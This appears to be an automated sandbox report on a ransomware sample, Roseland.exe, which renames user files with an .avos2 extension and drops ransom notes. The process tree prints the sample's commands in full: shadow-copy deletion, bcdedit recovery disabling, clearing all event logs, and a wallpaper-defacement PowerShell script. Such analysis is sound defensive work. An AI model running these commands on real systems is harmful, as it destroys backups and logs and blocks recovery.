bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705

General

Target

Roseland.exe
Size

807KB
MD5

19944159dfa94a1b75effd85e6b906dc
SHA1

250acf87366f4c0cf91679a0e93dfc79954f0f10
SHA256

bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705
SHA512

c791840f59c2fc906c197c43e0e1717b9504cf46177a3688ecbd4937cdbf95349d68cc1e63649b85f02df4e6990c4df4756dd8267b062ea5271dd61fc3e508b0
SSDEEP

12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA7:u4s+oT+NXBLi0rjFXvyHBlbnCZa8

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

380 bcdedit.exe
1068 bcdedit.exe

pid	process
380	bcdedit.exe
1068	bcdedit.exe

Modifies extensions of user files 15 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

Roseland.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\TestEnter.tiff	Roseland.exe
File opened for modification	C:\Users\Admin\Pictures\DenyOpen.tiff	Roseland.exe
File renamed	C:\Users\Admin\Pictures\NewConvertTo.tif => C:\Users\Admin\Pictures\NewConvertTo.tif.avos2	Roseland.exe
File opened for modification	C:\Users\Admin\Pictures\ResetSend.tiff	Roseland.exe
File renamed	C:\Users\Admin\Pictures\ResetSend.tiff => C:\Users\Admin\Pictures\ResetSend.tiff.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\WatchPublish.tiff => C:\Users\Admin\Pictures\WatchPublish.tiff.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\BackupSet.raw => C:\Users\Admin\Pictures\BackupSet.raw.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\PushSend.tif => C:\Users\Admin\Pictures\PushSend.tif.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\GroupConfirm.crw => C:\Users\Admin\Pictures\GroupConfirm.crw.avos2	Roseland.exe
File opened for modification	C:\Users\Admin\Pictures\WatchPublish.tiff	Roseland.exe
File renamed	C:\Users\Admin\Pictures\UninstallConnect.tif => C:\Users\Admin\Pictures\UninstallConnect.tif.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\CompareAdd.raw => C:\Users\Admin\Pictures\CompareAdd.raw.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\DisableHide.png => C:\Users\Admin\Pictures\DisableHide.png.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\DenyOpen.tiff => C:\Users\Admin\Pictures\DenyOpen.tiff.avos2	Roseland.exe
File renamed	C:\Users\Admin\Pictures\TestEnter.tiff => C:\Users\Admin\Pictures\TestEnter.tiff.avos2	Roseland.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Roseland.exe

description ioc process

File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI Roseland.exe
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

Roseland.exe

description ioc process

File opened (read-only) \??\Z: Roseland.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	Roseland.exe

description	ioc	process
File opened (read-only)	\??\Z:	Roseland.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1715839980.png"	reg.exe

Drops file in Program Files directory 64 IoCs

Processes:

Roseland.exe

description	ioc	process
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bPrev.png	Roseland.exe
File created	C:\Program Files\Microsoft Games\Chess\es-ES\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf	Roseland.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_videoinset.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\ISO690Nmerical.XSL	Roseland.exe
File opened for modification	C:\Program Files\Windows Media Player\en-US\wmlaunch.exe.mui	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Algiers	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\css\RSSFeeds.css	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FormsTemplates\POLICIES.FDT	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0145168.JPG	Roseland.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\WindowsMedia.mpp	Roseland.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\ja-JP\gadget.xml	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\boot_ja.jar	Roseland.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\shatter.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\DRUMROLL.WAV	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO01566_.WMF	Roseland.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_few-showers.png	Roseland.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Lime.css	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21298_.GIF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02439_.WMF	Roseland.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\VSTA\8.0\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvm.xml	Roseland.exe
File created	C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\es-ES\js\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Concourse.thmx	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0240189.WMF	Roseland.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\es-ES\RSSFeeds.html	Roseland.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\GoldRing.png	Roseland.exe
File created	C:\Program Files\Microsoft Games\Mahjong\es-ES\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\drag.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Slipstream.eftx	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198016.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0309480.JPG	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TN00241_.WMF	Roseland.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer	Roseland.exe
File opened for modification	C:\Program Files\DenyPop.xht	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Mazatlan	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Perth	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\New_York	Roseland.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\js\highDpiImageSwap.js	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382925.JPG	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01157_.WMF	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-uisupport.xml	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_corner_bottom_left.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\SIDEBARBB.DPV	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.COM.SG.XML	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR39F.GIF	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Darwin	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security_1.2.0.v20130424-1801.jar	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\RELEASE-NOTES.html	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00768_.WMF	Roseland.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\GET_YOUR_FILES_BACK.txt	Roseland.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Nassau	Roseland.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif	Roseland.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\89.0.4389.114\MEIPreload\preloaded_data.pb	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_gray_thunderstorm.png	Roseland.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\fr-FR\currency.html	Roseland.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OneNote\SendToOneNote.gpd	Roseland.exe
File created	C:\Program Files (x86)\Google\Policies\GET_YOUR_FILES_BACK.txt	Roseland.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\it-IT\js\localizedStrings.js	Roseland.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	Roseland.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

692 vssadmin.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

Roseland.exepowershell.exepowershell.exe

pid process

1820 Roseland.exe
2388 powershell.exe
2876 powershell.exe

pid	process
692	vssadmin.exe

pid	process
1820	Roseland.exe
2388	powershell.exe
2876	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Roseland.exeWMIC.exevssvc.exepowershell.exe

description	pid	process
Token: SeTakeOwnershipPrivilege	1820	Roseland.exe
Token: SeIncreaseQuotaPrivilege	1180	WMIC.exe
Token: SeSecurityPrivilege	1180	WMIC.exe
Token: SeTakeOwnershipPrivilege	1180	WMIC.exe
Token: SeLoadDriverPrivilege	1180	WMIC.exe
Token: SeSystemProfilePrivilege	1180	WMIC.exe
Token: SeSystemtimePrivilege	1180	WMIC.exe
Token: SeProfSingleProcessPrivilege	1180	WMIC.exe
Token: SeIncBasePriorityPrivilege	1180	WMIC.exe
Token: SeCreatePagefilePrivilege	1180	WMIC.exe
Token: SeBackupPrivilege	1180	WMIC.exe
Token: SeRestorePrivilege	1180	WMIC.exe
Token: SeShutdownPrivilege	1180	WMIC.exe
Token: SeDebugPrivilege	1180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1180	WMIC.exe
Token: SeRemoteShutdownPrivilege	1180	WMIC.exe
Token: SeUndockPrivilege	1180	WMIC.exe
Token: SeManageVolumePrivilege	1180	WMIC.exe
Token: 33	1180	WMIC.exe
Token: 34	1180	WMIC.exe
Token: 35	1180	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1180	WMIC.exe
Token: SeSecurityPrivilege	1180	WMIC.exe
Token: SeTakeOwnershipPrivilege	1180	WMIC.exe
Token: SeLoadDriverPrivilege	1180	WMIC.exe
Token: SeSystemProfilePrivilege	1180	WMIC.exe
Token: SeSystemtimePrivilege	1180	WMIC.exe
Token: SeProfSingleProcessPrivilege	1180	WMIC.exe
Token: SeIncBasePriorityPrivilege	1180	WMIC.exe
Token: SeCreatePagefilePrivilege	1180	WMIC.exe
Token: SeBackupPrivilege	1180	WMIC.exe
Token: SeRestorePrivilege	1180	WMIC.exe
Token: SeShutdownPrivilege	1180	WMIC.exe
Token: SeDebugPrivilege	1180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1180	WMIC.exe
Token: SeRemoteShutdownPrivilege	1180	WMIC.exe
Token: SeUndockPrivilege	1180	WMIC.exe
Token: SeManageVolumePrivilege	1180	WMIC.exe
Token: 33	1180	WMIC.exe
Token: 34	1180	WMIC.exe
Token: 35	1180	WMIC.exe
Token: SeBackupPrivilege	2496	vssvc.exe
Token: SeRestorePrivilege	2496	vssvc.exe
Token: SeAuditPrivilege	2496	vssvc.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

Roseland.execmd.execmd.execmd.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 1820 wrote to memory of 1632	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1632	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1632	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1632	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1736	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1736	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1736	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1736	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 620	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 620	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 620	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 620	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1456	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1456	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1456	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1456	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1264	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1264	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1264	1820	Roseland.exe	cmd.exe
PID 1820 wrote to memory of 1264	1820	Roseland.exe	cmd.exe
PID 1632 wrote to memory of 1180	1632	cmd.exe	WMIC.exe
PID 1632 wrote to memory of 1180	1632	cmd.exe	WMIC.exe
PID 1632 wrote to memory of 1180	1632	cmd.exe	WMIC.exe
PID 1736 wrote to memory of 692	1736	cmd.exe	vssadmin.exe
PID 1736 wrote to memory of 692	1736	cmd.exe	vssadmin.exe
PID 1736 wrote to memory of 692	1736	cmd.exe	vssadmin.exe
PID 1456 wrote to memory of 380	1456	cmd.exe	bcdedit.exe
PID 1456 wrote to memory of 380	1456	cmd.exe	bcdedit.exe
PID 1456 wrote to memory of 380	1456	cmd.exe	bcdedit.exe
PID 620 wrote to memory of 1068	620	cmd.exe	bcdedit.exe
PID 620 wrote to memory of 1068	620	cmd.exe	bcdedit.exe
PID 620 wrote to memory of 1068	620	cmd.exe	bcdedit.exe
PID 1264 wrote to memory of 2388	1264	cmd.exe	powershell.exe
PID 1264 wrote to memory of 2388	1264	cmd.exe	powershell.exe
PID 1264 wrote to memory of 2388	1264	cmd.exe	powershell.exe
PID 1820 wrote to memory of 2876	1820	Roseland.exe	powershell.exe
PID 1820 wrote to memory of 2876	1820	Roseland.exe	powershell.exe
PID 1820 wrote to memory of 2876	1820	Roseland.exe	powershell.exe
PID 1820 wrote to memory of 2876	1820	Roseland.exe	powershell.exe
PID 2876 wrote to memory of 2964	2876	powershell.exe	reg.exe
PID 2876 wrote to memory of 2964	2876	powershell.exe	reg.exe
PID 2876 wrote to memory of 2964	2876	powershell.exe	reg.exe
PID 2876 wrote to memory of 2976	2876	powershell.exe	rundll32.exe
PID 2876 wrote to memory of 2976	2876	powershell.exe	rundll32.exe
PID 2876 wrote to memory of 2976	2876	powershell.exe	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\Roseland.exe
"C:\Users\Admin\AppData\Local\Temp\Roseland.exe"
1⤵
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\system32\cmd.exe
  cmd /c wmic shadowcopy delete /nointeractive
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1180
- C:\Windows\system32\cmd.exe
  cmd /c vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:692
- C:\Windows\system32\cmd.exe
  cmd /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1068
- C:\Windows\system32\cmd.exe
  cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:380
- C:\Windows\system32\cmd.exe
  cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1715839980.png /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:2964
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
    3⤵
    PID:2976

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Inhibit System Recovery

3

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
6d81ed40ba0a283e5483bfe6a448e9d7

SHA1
0c847a5f9df743b13e1aa11b4c24a4309e9a7119

SHA256
b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d

SHA512
8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
982338975335c602272a8753d769d083

SHA1
4d2c9acaf021fb270d980f89f690cd3ca6c7bd50

SHA256
8d149e376e6538ecb9d1eb7f8d8673aa305dce25de7ee01956ab6cffd573e664

SHA512
b323c8ba1330ab3d872e1467e5040788492132e173c1dd6d003a4498ed7386a98af81f68b6508b5a60442465b979c2b18fad596810543d457f275052e1cb2d55

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/380-61-0x0000000000000000-mapping.dmp

Download
memory/620-56-0x0000000000000000-mapping.dmp

Download
memory/692-60-0x0000000000000000-mapping.dmp

Download
memory/1068-62-0x0000000000000000-mapping.dmp

Download
memory/1180-59-0x0000000000000000-mapping.dmp

Download
memory/1264-58-0x0000000000000000-mapping.dmp

Download
memory/1456-57-0x0000000000000000-mapping.dmp

Download
memory/1632-54-0x0000000000000000-mapping.dmp

Download
memory/1736-55-0x0000000000000000-mapping.dmp

Download
memory/2388-69-0x000000000243B000-0x000000000245A000-memory.dmp

Filesize
124KB

Download
memory/2388-68-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/2388-66-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmp

Filesize
11.4MB

Download
memory/2388-70-0x0000000002434000-0x0000000002437000-memory.dmp

Filesize
12KB

Download
memory/2388-71-0x000000000243B000-0x000000000245A000-memory.dmp

Filesize
124KB

Download
memory/2388-63-0x0000000000000000-mapping.dmp

Download
memory/2388-67-0x0000000002434000-0x0000000002437000-memory.dmp

Filesize
12KB

Download
memory/2388-64-0x000007FEFB851000-0x000007FEFB853000-memory.dmp

Filesize
8KB

Download
memory/2876-78-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

Filesize
3.0MB

Download
memory/2876-77-0x000007FEF3C30000-0x000007FEF478D000-memory.dmp

Filesize
11.4MB

Download
memory/2876-72-0x0000000000000000-mapping.dmp

Download
memory/2876-80-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/2876-81-0x000000000246B000-0x000000000248A000-memory.dmp

Filesize
124KB

Download
memory/2876-84-0x0000000002464000-0x0000000002467000-memory.dmp

Filesize
12KB

Download
memory/2876-85-0x000000000246B000-0x000000000248A000-memory.dmp

Filesize
124KB

Download
memory/2964-82-0x0000000000000000-mapping.dmp

Download
memory/2976-83-0x0000000000000000-mapping.dmp

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads